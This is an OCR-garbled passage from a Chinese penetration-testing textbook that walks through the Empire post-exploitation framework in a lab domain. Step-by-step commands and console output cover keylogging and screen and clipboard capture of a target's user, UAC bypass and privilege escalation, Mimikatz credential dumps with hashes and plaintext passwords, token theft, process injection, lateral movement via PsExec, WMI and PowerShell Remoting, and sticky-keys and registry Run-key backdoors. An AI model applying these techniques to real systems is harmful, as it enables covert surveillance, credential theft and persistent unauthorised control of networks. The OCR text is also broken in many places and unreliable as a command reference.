module命令搜索需要使用的模块，这里通过键入usemodl巾 collection然后按Tab键查

看完整的列表，如图6-106所示。
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图6-106 查看Empire模块的完整歹lj表

下面演示几个常用模块。

1. 屏罄截图

输入以下命令即可查看该模块的具体参数，如图6-107所示。

usemodule collection / screenshot 
info 

(Empi 「e: ) > usemodule collection/screenshot 
(Empire: 1w.:e r号’1 巳ll,collection c:c l 芒巴，.，，，门 n t) > info 

Name: Get-Screenshot 
Module: powershell/collection/screenshot 

NeedsAdmin: False 
OpsecSafe: T 「ue

Language: powershell 
MinlanguageVersion: 2 

Background: False 
OutputExtension: png 

图6-107 使用屏幕截图模块

不需要做多余的设置，直接输入execute即可查看目标主机的屏幕截图，如图6- 108

和图6-109所示。

I "''"" p .... "· 11 " (E『『1pire: po 川巳：·sh寸 ll, colleζtio门 sc r·e 巳＇l 轧： 1 口 T ) > back I 

(E「npire: ) > I 
Output saved to ./downloads/64/screenshot/WIN7-64 2017-11-24 01-22-41.png I 

图6-108 运行模块
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图6- 109 查看抓取到的屏幕截图

2. 键盘记录

输入以下命令即可查看该模块的具体参数，如图6-110所示。

usemodule collection / keylogge r、

info 

(Em pi re: ) > usemodule co llection/keylogge r 
(Empire ： 口。：er 、： 1 巳 l1. -oneι1二 0'1 吨 eylo9ger ) ＞「un
(Empire: po.:e; •1hel l ：口 l\(·ftio11 ke/lo,1ge1· ) >info 
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图6-110 开启键盘记录

保持默认设置就可以了，输入execute启动后就开始记录目标主机的键盘输入情

况了，此时会自动在巳mpire/downloads/<AgentName＞下生成一个agent.log文件，如图

6-11 l所示。
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I( Empire ： 川口！如ll 川tio11川ger ) >…te 
(Empire: po. ：町 I" sh 巳 ll collectio11'keylogger ) > back 

E二］［.叫由wnloads ~ : screenshot ’ 
© Recent 

命 Home agent.I呵 screenshot

图6 - 111 生成agent . log文件

假设在目标主机的操作者正在给自己的女儿写一封信，如图6- 112所示。

给女JUI'铲-iii膏.txt －记事本

文件｛町编每｛日格式（0）章’阴郁助制｝

亲爱的8需提：
芦洒满了主稽季气草草辅以写袁崇得7，正在客厅革附打闹峭的笑

爱你的爸爸

图6- 112 输入文字

打开agent.log即可看到目标主机的键盘输入情况己经全部在监控端记录下来了，

虽然不能记录中文，但是大概意思还是能看出来的，空格键、删除键也记录了下来，

如图6-11 3所示。

EJl垦 ．帘 80 00 。

( Backspace］固

图6-113 查看目标主机的键盘输入记录

如果要持续进行键盘记录，可以把当前监控模块置于后台，输入jobs即可显示当

前在后台的记录。如果要停止记录，可以使用jobs kill JOB_ name命令，这里输入jobs

kill N7XE38即可停止键盘记录，如图6- 1 14所示。
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(Empire : ) > 

图6-114 停止键盘记录

3. 剪贴板记录

这个模块允许用户抓取存储在目标主机Windows剪贴板上的任何内容。 可以设置

模块参数的抓取限制和间隔时间，一般情况下，保持默认设置就可以，这里输入以

下命令即可查看具体参数，如图6-115所示。

usemodule collection/clipboa「d_monito「

info 

(Empire: ) > usemodule collection /<: lipboa1 d moni t。 r

(Empire: "''· U 气口t il [ ol. l<'' "''" c ：一 ni>e•.1!.! •'·' _t ) >info 

Name: Get -Clipboa rdContents 
Module: p。wershe ll/ collection/clipboard monitor 

NeedsAdmin: False 
OpsecSafe: True 

Language: powershell 
MinlanguageVersion: 2 

Background: True 
OutputExtensi。n: None 

图6-115 使用模块

首先在目标主机中随便复制一句话，可以看到屏幕已经显示结果了 ， 速度还是

很快的，如图6-116所示。

图6-116 查看剪贴板内容
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同样地，当前监控模块也可以置于后台，输入jobs会显示当前在后台的记录，如

果要停止，同样需要输入jobs kill JOB name，如图6-117所示。

(Empi 「e: ) > jobs 
(Empire: ) > 
Running Jobs: 
TK6PB7 
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(Empi 「e : ) > jobs 
(Empire: ) > 
Running Jobs: 

图6-117 停止剪贴板记录

4. 查找共享

输入usemodule situational _awareness/network/powerview/ share _finder命令将列出

域内所有的共享，可以设置CheckShareAccess选项将只返回可从当前用户上下文中读

取的共享，这里保持默认设置即可，如图6-118所示。

(Empi1e: ) > usemodule situational a1vareness/network/powe 「飞’iew/share finder 
(Empire pc.'" uρl i 't•;., t 工。i ,ill ''--"' e: 它、 r,, 1 u: C; llO. l川 ic. 、川司 f e find 巳 1 ) > execute 
(Empir e ： 归O.:e r:,ile l1 飞 A l•;;ll.i'J!idl "·"'' P 巳 !lt ＇.：－ ιnetυ’民！，。.，（＇， iη．》＇＇＂＇ e fi•1rlcr ) > back 
(Empire: ) > 
Job started: ZlU8VK 

\ WIN7 -64. shuteer. tes tlab\ADl-lINS ，远程琶 1望

\\WIN7 64.shuteer.testlab\C 
\ \WIN7-64. shuteer. testlab\CS －默认共 享

\ \l"IIN7 -64. shuteer. testlab\IPCS ，远程 IPC
\\WIN7·64.shuteer.testlab\Users 
\\WIN7-X86. shuteer. testlab\ADf.IINS 远 rn 琶！~
\\WIN7 -X86. shuteer. testlab\CS - ~l 认共 军

\\WIN7-X86.shuteer.testlab\IPCS －远n IPC 

Invoke-ShareFinder completed' 

图6- 118 查找共享

5. 收集目标主机的信息

输入usemodule situational awareness/host/winenum命令即可查看本机用户、域组

成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享

信息等，如图6-119所示。
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图6-119 查看主机的信息

另外还有situational_awareness/host/computerdetails模块，它几乎列举了系统中的

所有有用信息，如目标主机事件日志、应用程序控制策略日志，包括RDP登录信息、

PowerShell脚本运行和保存的信息等。在运行这个模块时需要管理权限，读者可以尝

试一下。

6. ARP 扫描

Empire也内置了ARP扫描模块，输入usemodule situational_ awareness/network/ 

arpscan命令即可使用该模块，这里要设置Range参数，输入以下命令设置要扫描的网
段，如图6- 120所示。

set Range 192.168.31.0-192.168.31.254 

execute 

图6-120 设置参数
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同样地， Empire也内置了端口扫描模块situational_awareness/network/portscan ， 这

里就不演示了 。

7. DNS 信息获取

在内网中，知道所有机器的HostName和对应的IP地址对分析内网结构至关重要，

输入usemodule situational awareness/network/reverse dns命令即可使用该模块，这里

要设置Range参数，输入要扫描的IP网段并运行，如图6-121所示。

(Empire : po内忏、hr ＼＼.＇、 i tudt ion.ii d 、＂’门，、、 n..t""'· , .. , .. ，、 :':r· . . 号＜eCJt 号
(Empi re· pm.-er,hr\ ＼／飞 1tu.it1011.J\ ,, .r 『川＂飞、 nρt 山nr". rργρ7 飞 e ，.，，、 I > back 
IEmpire r .r ’“}>
Job started: U35C7E 
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图6-121 运行结果

如果该主机同时有两个网卡， Empire也会显示出来，方便我们寻找边界主机。

其实还可以利用另一个模块situational awareness/host/dnsserver显示当前内网

DNS服务器的IP地址 ， 如图6-122所示。

(Empire: ) > usemodul e situational awa 「eness /ho s t /dnsse rver
(Empire: po«尼 fshell .'si tu.-1tio 门 ii l a .. 0111c:1匕℃宅门「1 、 l cf ：、 c·: •'' ) > execute 
(E 『『1pire: po«·ie 「 shell 5 工 tu;itio 门正1l a. 8仆！巳！＇：已＂ s i10 • t := ，，.，巴巳！－ :r) > back 
(Empi re: ) > 
192. 168. l. 250 

(Empire: ) >’ 
图6-122 显示当前内网DNS服务器的IP地址

8. 查找域管登录服务器 IP

在内网渗透中，要想拿到内网中某台机器的域管权限，方法之一就是找到域管

登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，这个模块就是

用来查找域管登录的机器的。

使用usemodule situational_ awareness/network/powerview/user _hunter这个模块可
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以清楚地看到哪位用户登录了哪台主机，这里显示域管曾经登录过机器名为

WIN7-64.shuteer.testlab, IP地址为192.168.31.251 的这台机器，如图6-123所示。
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UserDomain : SHUTEER 
UserName : Administrator 
ComputerName WIN7 · 64. shuteer. tes tlab 
IPAddress 192.168.31.251 
SessionFrom 
LocalAdmin 

Invoke-UserHunter completed' 

图6-123 显示域管曾经登录过的机器

9. 本地管理组访问模块

使用 usemodule situational_ awareness/network/powerview/find _localadmin _access 

模块时，不需要做多余的设置，直接输入execute即可，结果如图6-1 24所示。

(Empire: ) > usemodule situational a\;areness/network/po>1erv1ew/find localadmrn access 
(Empire ，」 L:d t .. · '" l ;, ... tr" '" 守了 一i l 机 ！＇＇＂·＂＇ "l·"·· 1 叮： \Ci loc.i L 川 c: iii 『＂、尸二飞 ） > execute 
(Empi1e 飞二 tu l ti or、川］ ！，、！，、 ... '1•'\ ·"". ' IJ(，。 ι记 t •«e •. i ind l o 【什＼；l[i• i 川 A Cζe_;,, ) > 
Job started: Debug32 v7Jqy 

WIN7 64 . shuteer . testlab 
WIN7 -X86. shuteer . testlab 

F 111d- Loca lAdminAccess completed 1 

图6- 124 查看本地管理组访问结果

可以看到有两台计算机，名字分别为WIN7-64.shute巳r.testlab和WIN7-X86 . shuteer.

testlab 。

10. 获取域控制器

现在可以用usemodule situational_ awareness/network/powerview/get_ domain_ controller 

模块来确定当前的域控制器，因为己经有了域用户权限，直接输入execute即可，如

图6-125所示。
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图6-125 获取域控制器

从图6- 125中可以看到当前域服务器名为DC 。

再验证下能否访问域服务器DC的 “C$”，结果同样顺利访问，如图6- 126所示。

图6-126 访问域服务器计算机

6.3.7 权限提升

提权，顾名思义就是提高自己在服务器中的权限，就比如在Windows中，你本身

登录的用户是Guest，通过提权后就变成超级管理员，拥有了管理Windows的所有权

限。 提权是黑客的专业名词， 一般用于网站入侵和系统入侵，提权的方式有下面这

几种。
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1. Bypass UAC 

输入usemodule privesc/bypasst邸， 设置Listener参数，运行execute，然后会发现

上线了一个新的反弹，如图6-127所示。

Em 
(Emp1 「e: powe 『飞hell / privesc /bypassuacl > execute 

·I ~！ :Li!!' I', l. '. （ υ、，；，＂ t', run' [y/N l y 
(Empire : power'>hell /p 『ivesc/bypa<;suacl >back 
(Empire : . <: 1 人川、！ ） >

Job sta 「ted: NPAIVVY 

图6-127 Bypass反弹成功

回到agents，输入list命令，可以看到多了一个agents，带星号的即为提权成功的

agents，如图6- 128所示。

(•) A< t ive agent 、， I1 ：＇.~ Name Lang Internal IP 阳chine Name Username Process Delay I 

2KLV削m ps 192.168.1.179 DESKTOP·2日TMG圳饪SKTOP·2DTMG创4\shutpowershell/7176 5/0.0 I 
ZEX4TBCM ps 192.168.1.179 旺SKTOP·2DT附则 ·促SKTOP·2DT1铅α叭shup owe阳hell/9108 5旷日.o .I 

图6-128 提权成功的歹lj表

2. bypassuac_wscript 

这个模块的大概原理是使用C:\Windows\wscript.exe执行Payload，即绕过UAC实

现管理员权限执行Payload，只适用于系统为Windows 7的目标主机，目前尚没有对应

补丁，部分杀毒软件会有提示。 如图6- 129所示，带型号的即为提权成功的。

图6-129 提权成功的苦lj表

仅供非商业用途或交流学习使用
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3. PowerUp 

Empire内置了PowerUp的部分工具，用于系统提权，主要有Windows错误系统配

置漏洞、 Windows Services漏洞、 AlwaysinstallElevated漏洞等8种提权方式，输入

usemodule privesc/powerup ， 然后按Tab键查看PowerUp的完整列表，如图6-130所示。

al1checks se 「＇： lee exe res:o 「e ser•:1ce exe useradd se 「·-:ice useradd 
I (Enp1 「e : l > usenodu~e p~~··1esc…／－一

f rnd_d11h1J ack se 「vice exe…sτage 「 se 「V ice s:age「时「lte_dl1h 1 J acker 

图6-130 查看模块歹lj表

( 1 ) AllChecks模块

查找系统中的漏洞，和PowerSploit下PowerUp中的Invoke-AllChecks模块一样，

该模块可以执行所有脚本检查系统漏洞，输入以下命令，如图6-131所示。

usemodule p「ivesc/power、up/allchecks

execute 

图6-131 检查系统漏洞

从图6-1 31 中能看到列出了很多方法， 可以尝试用Bypass UAC来提权，提权前先

查看当前的 agents ，发现只有一个Name 为 CD3FRRYCFVTYXN骂， IP 为 192.

168 .31.251 的普通权限客户端，如图6-132所示。

仅供非商业用途或交流学习使用
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I' I Active agents: I 

Name Internal IP Machine Name Username Process Delay last Seen I 

CD3FRRYCFVTYXtBS 192 168 .31 251 1-IIN7·刷刷7-64飞shuteer powershelt/3584 S/B. a 2917 .97. 08 03: 44 02 I 

图6- 132 查看当前的agents

接着输入bypassuac test命令来提权，等待几秒钟， 就会返回一个更高权限的Shell,

如图6- 133所示。

川 Empire: ) > bypassuac test I 
I Y I 
j(Empire: ) > I 

川ob sta 「ted: Debug32 a4fcj I 

川＋］ Initial agent 341CNFUFK3PKUDML f ram 192 .168. 31. 251 now active I 

图6- 133 提权成功

再次查看当前agents，可以看到多了一个Name为341CNFUFK3PKUDML的高权

限 （带星号〉客户端， 如图6-134所示，说明提权成功。

ltbpue: I > .igents I 

I II""'" lntcrn<Jl IP 1-lachrne Na"e Username Process Delay Last Seen I 

I CD3FORYCFVTYXll35 192.168.31.251 WHl7-64 WHl7-64\shuteer powershell/3584 5/8.0 2017-07-08 03:51:39 I 
I 341CtffUFKJPKU四·ll 192 168.31.251 WHl7-64 ·WIN7-64\shuteer powershel\/3156 5/0.0 2017-07-08 03:51:48 I 

图6-134 再次查看agents列表

(2）模块使用说明

All Checks模块的应用对象如下所示。

. 任何没有引号的服务路径。
• 任何ACL配置错误的服务 （可通过service ＊利用 〉。

• 服务可执行文件上的任何设置不当的权限 （可通过service exe ＊进行利用 〉。

. 任何剩余的una忧end .泪nl文件。

• 设置AlwayslnstallElevated注册表项。

• 如果有任何Autologon凭证留在注册表中。

• 任何加密的web.config字符串和应用程序池密码。

• 对于任何%PATH%.DLL的劫持机会（可通过write_dllh ij acker利用 ）。

具体使用方法可参见笔者的几篇文章，如下所示。

• Metasploit、 PowerShell之Windows错误系统配置漏洞实战提权 C http ://www.

仅供非商业用途峡交流学习使用
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freebuf.com/a1ticles/ system/l 31388.html) 

• Metasploit 之 Windows Services 漏洞提权实战（ h句：／／www.4hou.com/

technology/ 4180.html) 

• Metasploit 、 Powershell之Alwayslnstal!Elevated提权实战Ch即s://xianzhi.ali归n.

com /forum / topic/203) 

4. GPP 

在域里常会启用组策略首选项来更改本地密码，便于管理和部署映像，其缺点

是任何普通域用户都可以从相关域控制器的SYSVOL中读取部署信息。 GPP是采用

AES 256加密的，输入usemodule privesc/gpp命令就可以查看了，如图6-135所示。

(Empire: ) > usemodule privesc/gpp 
(Empire: Do. ξ ？ I问 1_1 pr 工川 J 仨 'JPP ) > info 

Name: Get-GPPPassword 
I’lodu le: powers hell/pr i vesc / gpp 

NeedsAdmin: False 
OpsecSafe: True 

Language : powershell 
MinlanguageVersion: 2 

Background: True 
OutputExtension: None 

咱盟噩噩
Description: 

Retrieves the plaintext password and othe 「 information for 
accounts pushed thr。ugh Group Policy Preferences. 

Comments: 
https: / /github.com/ mattifestation/PowerSploit / blob/master/Ex 
filtration/Get GPPPassw。rd.p s l

DEilll 

Name Required Value Desc 「ipt1on

Agent True RE68GSK9 Agent to run module 。11.
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图6-135 查看GPP
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6.3.8 横向渗透

1 . 令牌窃取

我们在获取服务器权限后，可以使用内置的Mimikatz获取系统密码，执行完毕后

输入creds命令即可查看Empire列举的密码，如图6- 136所示。

(Empire: I > creds 

''''de •t1al、

Cred!O Credlype Domain UserName Host Passw。rd

81234 

1234567891111l 
hash li!N7 X86 
hash W!N7. X86 
plaintext IHN7·X86 
hash I唱Hl7 -64 
hash shuteer testlab 
plain text l•i!N7 ·64 
hash shuteor. testlab 
hash Wltl7 ·64 
hash shuteer. test lab 
plaintext shuteer test\ab 
plaintext wua .54 
hash \'llN7 · X86 
hash shuteer. testlab 
ρlarntext WIN7·X86 

test 
shuteer 
test 
shuteer 
WIN7 ·64$ 
shuteer 
Administrator 
shuteer 
WIN7 ·64S 
Administrator 
shuteer 
shuteer 
WHl7 ·X86S 
shuteer 

win7 x86 
win) x86 
win7 x86 
win7 64 
win7 .54 
1<in7·64 
win7 64 
win) 64 
win7·64 
win7 64 
win7 ·64 
win7-x86 
wrn7 x86 
win7-x86 

69943c5e63b4d2c 104dbbcc 15138b 72b 
3 ld6c feed 16ae93lb 73c59d7e0c089c0 
l 
69943c5e63b4d2c l 94dbbcζ15138b72b 
5 726 7004e5274d46 7 a0f b425c 393 f 9aa 
1 
2e94b f Sf Ze 13 f 9a4d34 7 f c6bbc2 la635 
99f 577777c04t180d2 lc 7033 t 623858e 
65e3 f ad90cbl 71a2e4f4a366734 !d680 

Xuyan 
90 f 5 77777c94f18Bd2lc 7033 f 623858e 
238840bee935 73 f 69b3809 laa5b50 l 29 
Xuyan 

图6-136 列举出的密码

从图3-136中可以发现有域用户曾在此服务器上登录，此时可以窃取域用户身份，

然后进行横向移动，首先要窃取身份，使用pth<ID＞命令，这里的D号就是creds下的

CredID号，这里窃取Administrator的身份令牌，执行pth 7命令，如图6-137所示。
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图6-137 窃取身份令牌

从图6-137中可以看到PID进程号为1380，使用steal token PID命令即可窃取该身
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份令牌，如图6-138所示。

「nning As: SHUT.EER飞…rat。 r I 

Use credentials/tokens with RevToSelf option to revert token privileges I 

图6-138 获得域用户令牌

同样可以输入ps命令查看是否有域用户的进程， 如图6- 139所示。

h E r A 

SRU PI 

p 

>‘,}} 
υ

！
 

F 
ι

、

．
l

♂
 

1

飞A

e
m a 

---

N 

ees rrs lie ppc mmO EEr ((

P 
User Name HemUsage 

Idle e x64 
System 4 x64 
smss 252 x64 

conhost 272 x64 
svchost 276 x64 

powershe\ l 280 x64 

cs r ss 328 x64 

csrss 380 x64 

N/A 0.02 MB 
N/A 0. 73 MB 
fff AUTHOR!TY\SY 1.02 日B
STE问

WIN7 64\shuteer J .16 MB 
HT AUTHORITY飞ue 1s.Je MB 
TWORK SERVICE 
SHUTE ER、Adminis 56.20 HB 
tr at。r
NT AUTHORITY飞 SY 5.21 MB 
STEM 
tff AUTHORITY、SY 8.17 MB 
STEH 

图6-139 查看当前进程

从图6-139中可以看到存在域用户的进程，这里选用同一个Name为CMD, PID为

1380的进程， 如图6-140所示。

cmd 1380 x64 SHUTEER\Adminis 2 . 66 HB 
t rator 

图6-140 查看PID

同样通过stea l token命令来窃取这个令牌，这里先尝试访问域内另一台主机

WIN7-X86的“C$”，结果顺利访问，如图6-141所示。

Running As SHUTEER\Administrator 

Use credentials/tokens with RevToSe\f opti。n t。 revert token privileges 
(Empire: , ) > shell dir 飞飞WIN7 X86\cS 
(Empire ) > 
目录．飞飞WIN7 X86\cS 

”。de LastWriteTime Length ”ame 
··．，噜·－－··－· .. …·．．．』··．

d-- •. 2917/6/12 22: 17 2345下视
d- .•. 2017/S/S 23 ：日8 36日Down toads 
d-- •. 2009/7 /14 10:37 Per fl。gs
d- ..• 2917/6/12 22:01 phpStudy 
d-r- - 2917/7/9 12:56 Program Fi \es 
d· .•. 2015/3/19 S: 12 OMDown\oad 
d-r· - 2017/7/8 19:23 Users 
d - - •• 2017 /7 /9 12·49 l·lind。ws
-a-. - 2日09/6/11 5:42 24 autoexec. bat 
-a”’ 2999/6/11 5:42 JO c。nf~fip'YS
’ a-- - 2917/6/21 21:25 562841 p。>1e .psi 
-a- - - 2917/6/22 29:38 5129 test dl\ 

图6-141 成功窃取令牌

e 
仅供 ll0 ffti业用途或交流学习使用
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输入revtoself命令可以将令牌权限恢复到原来的状态， 如图6-142所示。

｜｛臼ρire: ) ＞「…el
（ εmpi 「e: l > 
RevertToSelf 11.·as successful. Running as: DEV\justin 

图6-142 恢复令牌权限

2 . 会话注入

其实也可以使用usemodule management/psinject模块进行进程注入，获取权限。

接着设置Listener和Proc ID这两个参数，这里的Proc D还是之前CMD的 1380 ， 运行后

反弹回一个域用户权限Shell ， 如图6- 143所示。
(Empire: •anage~ent 'psi nject) > set Listener shu飞eer
(Empire: •anage阶ent/psin1ect) > set Procld 1360 
(Empire: •anage•ent / psinJect) > execute 
(Empire: •anagu.ent / psinject) > 
Job started: Oebug32 ahvg7 
(+I Initial agent LSXH12ZlHDA2l'lll'li Ir。• 192 . 166.31.251 now active 

(Empire ： 因anage•er、t /psinject) > back 
(Er:lpire: •anage•ent/psinJ•εt ) > back 
(Empire: ) > back 
(Er.pire: agents) > list 

l ‘ l Active agents· 

Name Internal IP ”achine !lame Usernane Process Delay Last Seen 

K2LMSXPYN2EZ/lV'IK 192, 168. 31. 251 WIN7 · 64 
h咀EE抽血／bi响H附1CFU 192 . 168.31.251 WIN7·64 
LSXM12ZIHOA21叭刑 192.168.31.251 WIN7 · 64 

913 233 
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图6-143 反弹成功

3. lnvoke-PsExec 

PsExec是笔者在Metasploit下经常使用的模块， PsTools工具包中也有PsExec，该

工具的缺点是能被基本的杀毒软件检测到并留下日志， 而且需要开启a也iin$ 445端口

共享，其优点是可以直接返回 SYSTEM权限 。 这里要演示的是Empire 下的

Invoke-PsExec模块。

使用该模块的前提是己经获得本地管理员权限，甚至域管理员账户 ， 然后以此

进一步持续渗透整个内网。

测试该模块前查看当前agents，发现只有一个IP为 192.168.31.251 ， 机器名为

WIN7-64的服务器，如图6- 144所示。

@ 仅供｜｜＝商业用途或交流学习使用
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I ct v ，司gents

Name Internal IP Machine Name Username Process Delay Last Seen |::\! LYKEE02GL3BKZXCS 192.168.31.251 WIN7-64 'SHUTEER飞Administratpowershell/1268 5/0.0 2日17 -07. 日9 01:51:44 

图6-144 查看agents

现在使用usemodule lateral_ m o vem e n t/invoke _psexec模块渗透域内另一台机器

WIN7-X86，输入info查看设置参数，如图6- 145所示。

e.i>trc: situati。”“四”＂r~nen／，刚回rk ，’”回rvie.1'user_llunter) > use110du\e lateral_” ve 
E1191re: lateral 嗣vetient/i川。ke psexec) > info 

H11胃： lnvoke -PsExec
梢。dule: l11ter11l 嗣venent/invoke psexec 

HeedsA段，） 0：“＼ se
Opsec5<1fe:“l ” 

MinPSVersion : 2 
8。CkQ，。”nd: True 

utputExtenston: /lone 

uthors: 
tlhar.JOy 

escrlpuon: 
Executes a st11oer on r’”te hosts usirlQ PsExec type 
lune t ional l ty. 

l!1IIm 

llaiae Requ1red Value 

Lls tener Fa ＼ ~e 

图6-145 查看设置参数

Oesc r lpl 1on 

Lhtener to usP. 

这里要设置机器名和监听，输入以下命令执行execute后即可看到反弹己经成功，

如图6- 146所示。

set Compute「Name WIN7 -X86.shute er.testlab 

set Listene「shuteer

e xecute 

I (Empire: lateral_movement/ inv。ke_psexec) > set ComputerName WIN7 -X86. shuteer. tes tlab I 
!( Empire: lateral_movement/invoke_psexec) > set Listener shuteer I 

I( Empire lateral_movement/l.nvoke_psexec ) > execute I 

l 可 ＼(Empire lateral_movement/inv。ke_psexec) > 
Job started: Debug32_996s8 
[ +] Initial agent WBZPLHRXAUAFHMUR fr。m 192.168.31.158 now active 

图6-146 反弹成功

输入agents命令查看当前agents，发现多了一个E为 192.168.31.158 ，机器名为

仅供｜｜二附业JTJJ垂或交流学习使用
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WIN7-X86的服务器， 如图6- 147所示。

[ •] Active agents I 1:r：：~： ::;::;: ，：：，.；；：：~·：： Name Internal IP Machine Name Username Pr。cess Delay Last Seen I 

LYKEED2Gl3B昭XCS 192.168 .31.251 WllJ7-64 'SHUTEER飞 Administratpowershe\\/1268 5/9.0 2917-07-89 日2:11:06 I 
W8ZPLMRXAUAFHMUR 192 .168 . 31.158 WIN7 ·X86 ‘ SHUTE ER飞 SYSTE问 powershe\\/5972 5/8.0 2817 -07-09 02:11:06 I 

图6-147 查看agents

4. lnvoke-WMI 

它比PsExec安全，所有Window系统都启用了该服务，当攻击者使用wmiexec进

行攻击时， Windows系统默认不会在日志中记录这些操作，这意味着可以做到攻击无

日志，同时攻击脚本无须写入磁盘，具有极高的隐蔽性，但如果目标机器开启了防

火墙，用WMI将无法连接上目标机器。输入usemodule lateral movement/invoke wmi 

即可使用该模块，输入info命令查看具体参数，如图6-1 48所示。

l酷楠’酬帽”圈圈翩翩幽国鄙嗣幽幽幽画“~
Name: Invoke· WI任

Module. lateral movement/invoke wrn1 
NeedsAdmin: False 

OpsecSa fe: True 
1-linPSVersion: 2 

Background: False 
OutputExtension: None 

Authors: 
@harmj6y 

国霸楠，胃帽帽”帽”田lllll!l!l'mll
~ 

Name Required Value 

Listener True shuteer 
Ct edID False 
ComputerName True WIN7 -64. shuteer . tes tlab 

Proxy False default 

UserName False 

ProxyCreds False default 

User Agent False default 

Password False 
Agent True L YKEED2GL3BKZXCS 

图6-148 查看Invoke-WM I参数

Oesc ription 
·....,.. .,. 

Listener t。 use.
CredID f r。m the store to use. 
Host[sJ to execute the stager on, comma 
separated. 
Proxy to use f。r request (default, none, 
。r other). 
[d。main\]username to use to execute 
command . 
Proxy credentials 
( [domain\! username: passw。 rd) to use for 
request (default, none, or other) 
User-agent string to use for the staging 
request (default, none，。r 。ther).
Password to use to execute command 
Agent to run module on. 

仅供｜｜＝商业HJ J垂必交流学习佼用
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这里同样需要设置机器名和监听，输入以下命令，执行execute命令后即可看到

反弹成功，如图6-149所示。

Set Compute「Name WIN7-X86.shuteer、 .testlab

Set Listene「 s hutee「

Execute 

I( Empire: l~ternl_movement/invoke_wmi ) > set ComputerName WIN7-X86. shuteer . testlab i 
!(Empire: lateral_movement/invoke_wmi ) > set Listener shuteer ! 
!(Empire: lateral_movement/invoke_wmi ) > execute I 

l (Empi 「e: lateral __ movement/ invoke 川mi l > I 

IInvoke-Wni executed on "WIN7-X86. shuteer. test lab ” | 
I!+] Initial agent EAKCUKBGKAK44YHX f rom 192 . 168. 31.158 now active I 

图6-149 反弹成功

WMI还有一个usemodule lateral_ movement/inv oke_ wmi _debugger模块，它使用

WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器，这些可执行

文件包括sethc.exe C粘滞键，按五下Shift键即可触发〉、 narrator.exe （文本转语音，可

利用Utilman接口激活）、 Utilman . exe ( Windows辅助管理器，按Win+U组合键即可启

用）、 Osk.exe （虚拟键盘，可利用Utilman接口启用）、 Magnify.exe C放大镜，可利用

Utilman接口启用〉，各位读者也可以尝试一下。

5. Powe「Shell Remoting 

PowerS h e ll Remoting是PowerShell的远程管理功能，开启Windows远程管理服务

WinRM系统后会监听5985端口，该服务默认在Windows Se凹er 2012中是启动的，在

Windows Server 2003/2008/2008 R2中需要手动启动。

如果目标主机启用了PowerShell Remoti吨，或者拥有启用它的权限的凭据，则可

以使用usemodule lateral_ movement/invoke _psremoting模块进行横向渗透，如图6- 150

所示。

(Empire: po·.-1ershell/lateral_move~ent.!invoke_psremoting ) > set c。mputerName WIN7-X86.shuteer. testlab I 
(Empire: powershell/lateral movement/invoke psremoting ) > set Listener shuteer I 
(Empire: po•,,e rs he l l/lateral_m.ove"'ent/ invoke＿飞psremoting ) > execute I 
川 Empire: po·.·:e rs hell ilateral_r，、。ve~ent/inv。ke_psremoting ) ＞也ack I 
l<Empire: ) > I 
~nvoke-PSRemoting executed 。n "WIN7-X86.shuteer.testlab ” | 

图6-150 invoke_ps「emoting模块
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6.3.9 后门

后门，本意是指一座建筑背面开设的门，通常比较隐蔽，为进出建筑的人提供

方便和隐蔽性。在信息安全领域，后门是指绕过安全控制而获取对程序或系统访问

权的方法。后门最主要的目的就是方便以后再次秘密进入或者控制系统。

1 . 权限持久性劫持 Shift 后门

输入usemodule lateral_ movement/invoke_ wmi _ debuggerinfo命令即可使用该模块，

输入info可以查看具体的设置参数，如图6-151所示。

(Empire: ) > usemodule late 「al movement/invoke wmi debugger 
(Empire: po· . .;e 「 shell 气ateral ”。ve:1ent; invoke 1.;"'i debugger ) > info 

Name: Invoke -WMIDebugger 
Module: powershell/lateral movement/invoke wmi debugger 

NeedsAd 『『1in: False 
OpsecSafe: False 

Language: powe 「shell

MinlanguageVersion: 2 
Background: False 

OutputExtension: None 

图6-151 查看设置参数

这里需要设置几个参数，输入以下命令，如图6- 152所示。

set Listene「 shutee「

set Compute「Name WIN7-64 . shutee「 .testlab

set Ta「getBina「y sethc.exe 

execute 

!( Empire: ~o.·:er·shell ’ l;iter·nl -ove-cnt. invoke ·.-:c-i debugger·) > set TargetBinary sethc.exe I 
l( Enpire: po.:ershelLlilter·al ·o•;e-·,ent invoke .,,--·1 debugger) > set WIN7-64 . shuteer.testlab I 

I ( E 『npire: po.,,erst1ell.· l;iter·al 罚。ver.ent invoke ＂＇~·i debugger ) > set Compute 「Name WIN7 -64.shuteer.testlab I 
I (Em pi re: po·,;e r shell / later· al_ 'lovement ! invoke~1·1rni_debugqer ) > info I 

图6-152 设置具体的参数

运行后，在目标主机远程登录窗口按5次Sh的键即可触发后门， 目标主机上会有

一个命令框一闪而过，如图6-153所示。
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低’启尾恬需键写2

嗣后松使用设童甲心，班用幢鱼饵锺方式

图6-153 触发后门

可以发现Empire已经有反弹代理上线，这里为了截图，笔者按了3回铀的后门，

所以弹回来3个代理，如图6-154所示。

y 
(Empire· po,.e ，川同巳 l \ \«to f 汀I 00•' ιl't ＇＂γO•:e 二 nd＂＂＇~＂＇） > back 

li[i~ (Empire: ) > 
I nv。ke-Wmi executed on ” WIN7 64. shuteer test lab” to set the debugger for sethc.exe to be a stager f。 r \lstener shuteer. 
[•J Initial ag刷1t Y6CPSAH9 from 192 168. l 100 now active (Slack) 
[•] Initial •gent Zh'VESCGB from 192.168.l.lOO no" aζtive !Slack) 
[•I Initial agent RUXGMED2 from 192 168 . l.lOO now active !Slack) 
(E叩ire: ) > ’ 
图6-154 反弹成功

需要注意的是， sethc.exe可以替换成以下这几项，如下所示。

• Utilman.exe （使用Win+U组合键启动） 。

• osk.exe （屏幕上的键盘： 使用Win+U启动组合键〉 。

• Narrator.exe （启动讲述人：使用Win+U启动组合键〉 。

• Magnify.exe （放大镜： 使用Win+U组合键启动） 。

2. 注册表注入后门

输入usemodule persistence/userland/registry命令即可使用该模块，该模块运行后

会在目标主机启动项里增加一个命令，按以下命令设置其中几个参数，如图6-155所示。
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set Listene「 shutee「

set RegPath HKCU:Softwa「e\Mic「osoft\Windows\Cu「「entVe「sion\Run

execute 

ri.liD!iiiBI 
Name Requi1 ed Value lim噩噩画画

ProxyCreds False 

EventLogID False 

Ext Fi le False 

Cleanup False 

ADSPath False 

Agent True 
Listener True 
KeyName True 
RegPath False 

Proxy False 

UserAgent False 

图6-155 设置参数

default Proxy Cl edentials 
